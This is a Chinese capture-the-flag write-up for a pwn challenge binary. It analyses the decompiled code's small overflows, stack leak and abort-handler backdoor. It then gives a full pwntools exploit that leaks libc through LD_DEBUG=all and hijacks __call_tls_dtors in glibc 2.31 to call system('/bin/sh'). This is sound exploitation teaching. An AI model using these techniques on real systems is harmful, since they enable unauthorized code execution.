前言
这道题目是广州强网杯的一道题目,利用方式比较巧妙,题目给了两个字节溢出、和一个任意地址写,通过这些漏洞可以有一些利用的方法,但是有一种方法是很巧妙的,也是出题人想让我们利用的方式,程序本身预置了后门函数,后门函数以test
身份重启了自身,然后exit了,而test
身份是有一个任意地址写的。
分析
程序经过ida分析后,发现程序有两个参数运行,一个是test
,一个real
,test会有一个任意地址写,real会进入主程序。test任意写如下:
void __noreturn sub_1CB0() { char *s[7]; // [rsp+0h] [rbp-38h] BYREF s[1] = (char *)__readfsqword(0x28u); puts("[+] Test remote IO."); __printf_chk(1LL, "Where: "); s[0] = 0LL; input(s, 8LL); __printf_chk(1LL, "Input: "); input(s[0], 144LL); __printf_chk(1LL, "Output: "); puts(s[0]); exit(0); }
real主程序如下:
void __fastcall __noreturn main(int a1, char **a2, char **a3) { const char *v4; // rbp const char *v5; // r15 int v6; // ebx __int128 buf; // [rsp+110h] [rbp-58h] BYREF unsigned __int64 v8; // [rsp+128h] [rbp-40h] v8 = __readfsqword(0x28u); if ( a1 != 2 ) goto LABEL_2; sub_16C0(); v4 = a2[1]; if ( !strcmp(v4, "test") ) sub_1CB0(); if ( strcmp(v4, "real") ) { LABEL_2: puts("Invalid."); exit(0); } sub_1770(); buf = 0LL; *(_QWORD *)&::buf[48] = a3; //envp *(_QWORD *)&::buf[56] = a2; __printf_chk(1LL, "User: "); input(&buf, 13LL); if ( !strcmp((const char *)&buf, "Administrator") ) { puts("Login failed!"); exit(0); } puts("Login successful!"); while ( 1 ) { LABEL_7: v5 = aAddCard; v6 = 0; sub_1C20(); // menu input(::buf, 50LL); // 2 bytes overflow can overflow envp while ( strcmp(::buf, v5) ) { ++v6; v5 += 16; if ( v6 == 6 ) { puts("Illegal."); goto LABEL_7; } } off_4080[v6](); // 函数的数组 } }
主程序将a3(envp)放到了buf[48]的位置,但是在输入buf的时候大小是50,存在2字节溢出可以覆盖envp,menu所涉及的函数如下
.data:0000000000004080 off_4080 dq offset add_card ; DATA XREF: main+102↑o .data:0000000000004088 dq offset Remove_Card .data:0000000000004090 dq offset Write_Card .data:0000000000004098 dq offset Read_Card .data:00000000000040A0 dq offset Bye_bye .data:00000000000040A8 dq offset sub_15C0 ; gift .data:00000000000040A8 _data ends
add函数如下:
int add_card() { int v0; // ebx _QWORD *i; // rax int v2; // ebp __int64 v3; // rax void *v4; // rax int *v5; // rbx unsigned __int64 v7; // [rsp+8h] [rbp-20h] v0 = 0; v7 = __readfsqword(0x28u); for ( i = &unk_4140; i[1] || *(_DWORD *)i; i += 2 ) { if ( ++v0 == 16 ) return __readfsqword(0x28u) ^ v7; } __printf_chk(1LL, "Size: "); v2 = input_size(); if ( (unsigned int)(v2 - 17) > 0x4F ) return __readfsqword(0x28u) ^ v7; v4 = calloc(1uLL, v2); v5 = (int *)((char *)&unk_4140 + 16 * v0); *((_QWORD *)v5 + 1) = v4; if ( !v4 ) exit(-1); *v5 = v2; __printf_chk(1LL, "Card: "); input(*((void **)v5 + 1), *v5); LODWORD(v3) = puts("OK."); return v3; } __int64 input_size() { char v1[24]; // [rsp+0h] [rbp-28h] BYREF unsigned __int64 v2; // [rsp+18h] [rbp-10h] v2 = __readfsqword(0x28u); *(_OWORD *)v1 = 0LL; *(_QWORD *)&v1[16] = 0LL; input(v1, 25LL); // 1 byte overflow return strtol(v1, 0LL, 10); }
这里input size有一字节溢出。此外程序还有一个隐藏的gift函数,可以泄露栈地址的最后两个字节
unsigned __int64 sub_15C0() { int v1; // ebp int v2; // eax int v3; // edx int buf; // [rsp+4h] [rbp-24h] BYREF unsigned __int64 v5; // [rsp+8h] [rbp-20h] v5 = __readfsqword(0x28u); if ( !unk_4120 ) { unk_4120 = 1; v1 = open("/dev/urandom", 0); read(v1, &buf, 4uLL); close(v1); v2 = buf & 3; switch ( v2 ) { case 2: buf = 0xFFF; v3 = 0xFFF; break; case 3: buf = 0xFFFF; v3 = 0xFFFF; break; case 1: buf = 0xFF; v3 = 0xFF; break; default: buf = 0xF; v3 = 0xF; break; } __printf_chk(1LL, "Gift: %dn", (unsigned int)&buf & v3); // 2 bytes leak stack } return __readfsqword(0x28u) ^ v5; }
除此之外,可以在程序初始化中有一个backdoor函数,可以以test参数重启程序,获得一次任意写能力:
unsigned int sub_16C0() { setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); signal(6, (__sighandler_t)handler); <----backdoor> signal(14, (__sighandler_t)sub_14D0); return alarm(0x28u); } void __noreturn handler() //以test重启自身 { __int64 v0; // rax char v1[88]; // [rsp+0h] [rbp-78h] BYREF unsigned __int64 v2; // [rsp+58h] [rbp-20h] v2 = __readfsqword(0x28u); v0 = *(_QWORD *)&buf[56]; if ( v0 ) { **(_DWORD **)(v0 + 8) = 0x74736574; // test 参数 *(_OWORD *)v1 = 0LL; *(_OWORD *)&v1[16] = 0LL; *(_OWORD *)&v1[32] = 0LL; *(_OWORD *)&v1[48] = 0LL; *(_OWORD *)&v1[64] = 0LL; readlink("/proc/self/exe", v1, 79uLL); //复制符号到v1 execve(v1, *(char *const **)&buf[56], *(char *const **)&buf[48]);// 重新执行程序 exit(0); // 退出 } exit(-1); }
利用思路
经过整理这些漏洞和后门,可以整理这样一个利用思路:
LD_DEBUG=all 这个环境变量,预示着程序执行时打印loader的信息,通过里面的信息可以获取libc地址。
首先利用 gift 功能泄露栈地址最后 2 字节,然后在栈上布置 LD_DEBUG=all 字串。通过全局变量的 2 字节溢出漏洞修改 envp 指针的最后2字节,使其指向栈上的 LD_DEBUG=all 字串指针。然后通过 1 字节的栈溢出触发 abort,从而使得程序重启并进入后门(此时相当于控制了环境变量为 LD_DEBUG=all)。
│ 0x55a99e08559f mov rdi, rbp ► 0x55a99e0855a2 call execve@plt <execve@plt> path: 0x7ffd0ba916c0 ◂— '/home/yrl/exp/mini' argv: 0x7ffd0ba92348 —▸ 0x7ffd0ba93117 ◂— 0x7400696e696d2f2e /* './mini' */ envp: 0x7ffd0ba920f0 —▸ 0x7ffd0ba92200 ◂— 'LD_DEBUG=all' 0x55a99e0855a7 xor edi, edi
程序在重启时,就会打印调试信息,泄露libc地址,由于 libc 2.31 的 one_gadget 已经无法使用,所以最后利用任意地址写去劫持 exit_handlers 函数。
exit_handlers其实是用的stl结构,因为exit_handlers会用到stl结构,其中在__call_tls_dtors中会有一个call rax;的调用,在此之前我们只要将eax修改为system,再将其参数修改为‘/bin/sh’就行。往上追溯可以看到eax是由
0x7f9c9bd98424 <__call_tls_dtors+36> mov rax, qword ptr [rbp] 0x7f9c9bd98428 <__call_tls_dtors+40> ror rax, 0x11 0x7f9c9bd9842c <__call_tls_dtors+44> xor rax, qword ptr fs:[0x30]
控制,我们可以通过栈控制rax为0,然后fs:[0x30]
为system地址就行,参数rdi通过mov rdi, qword ptr [rbp + 8]
控制,改为/bin/sh
,所以就可通过call rax;来getshell,值得注意的是fs寄存器我们看不了,就要确定fs:[0x30]
到底在哪里,这就需要一定的经验,大致知道 tls 在mapped 那段地址上(即libc最后的那段没有名字的地址段上),exp的target的偏移是在fs:[0x30]
附近,通过布栈根据target便宜来找fs:[0x30]
具体在哪里,具体这个偏移只能不同版本,慢慢靠经验找;现在 glibc2.31 还是固定的,很好找,以前 2.27 每次重启都会变,所以打远程还要爆破
exp
# -*- coding: UTF-8 -*- from pwn import * context.log_level = 'debug' #context.terminal = ["/usr/bin/tmux","sp","-h"] # io = remote('127.0.0.1', 49158) # libc = ELF('./libc-2.31.so') io = process(['./mini', 'real']) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') rl = lambda a=False : io.recvline(a) ru = lambda a,b=True : io.recvuntil(a,b) rn = lambda x : io.recvn(x) sn = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda a,b : io.sendafter(a,b) sla = lambda a,b : io.sendlineafter(a,b) irt = lambda : io.interactive() dbg = lambda text=None : gdb.attach(io, text) lg = lambda s : log.info(' 33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s))) uu32 = lambda data : u32(data.ljust(4, 'x00')) uu64 = lambda data : u64(data.ljust(8, 'x00')) sla('User: ', 'LD_DEBUG=all') # 将LD_DEBUG=all放到栈上 # dbg() # pause() sla('>> ', '+_@*@&!$') # 触发后门gift,获取栈的最后两个字节 ru('Gift: ') # leak stack 2bytes re = int(rl(), 10) lg('re') offset = re + 0x2c # 通过泄露的两个字节确定LD_DEBUG=all的位置 lg('offset') assert(offset & 0xf000) # 确保两个字节 sa('>> ', 'A'*0x30+p16(offset)) # modify stack address envp (2bytes)-> LD_DENUG=all 通过两个字节溢出修改envp的最后两个字节使其指向LD_DEBUG=all sla('>> ', 'Read_Card') # dbg() # pause() sa('Index: ', 'B'*0x19) # 1byte onerflow -> trigger abort 通过一字节溢出修改返回地址为非法地址,触发abort,使系统捕获异常进入后门函数,重启以test参数程序 ru('file=libc.so.6 [0];') # test参数重启时打印debug信息,泄露libc,之后会有一个任意地址写 ru('base: ') libc_base = int(ru(' size:'), 16) lg('libc_base') ''' 0x7f9c9bd98424 <__call_tls_dtors+36> mov rax, qword ptr [rbp] 0x7f9c9bd98428 <__call_tls_dtors+40> ror rax, 0x11 0x7f9c9bd9842c <__call_tls_dtors+44> xor rax, qword ptr fs:[0x30] 0x7f9c9bd98435 <__call_tls_dtors+53> mov qword ptr fs:[rbx], rdx 0x7f9c9bd98439 <__call_tls_dtors+57> mov rdi, qword ptr [rbp + 8] ► 0x7f9c9bd9843d <__call_tls_dtors+61> call rax <system> command: 0x7f9c9bf41568 ◂— 0x68732f6e69622f /* '/bin/sh' */ ''' target = libc_base + 0x1f34e8 # exit_handlers-> __call_tls_dtors->call rax; 确定劫持位置附近,通过偏移找到fs:[0x30],和rbp+8的位置,在rbp+8位置写入指向/bin/sh的指针 lg('target') sla('Where: ', p64(target)[:-1]) paylaod = p64(target+0x70) paylaod += 14*p64(0) paylaod += p64(target+0x80) paylaod += '/bin/shx00' paylaod += p64(libc_base + libc.sym['system']) sla('Input: ', paylaod[:-1]) irt()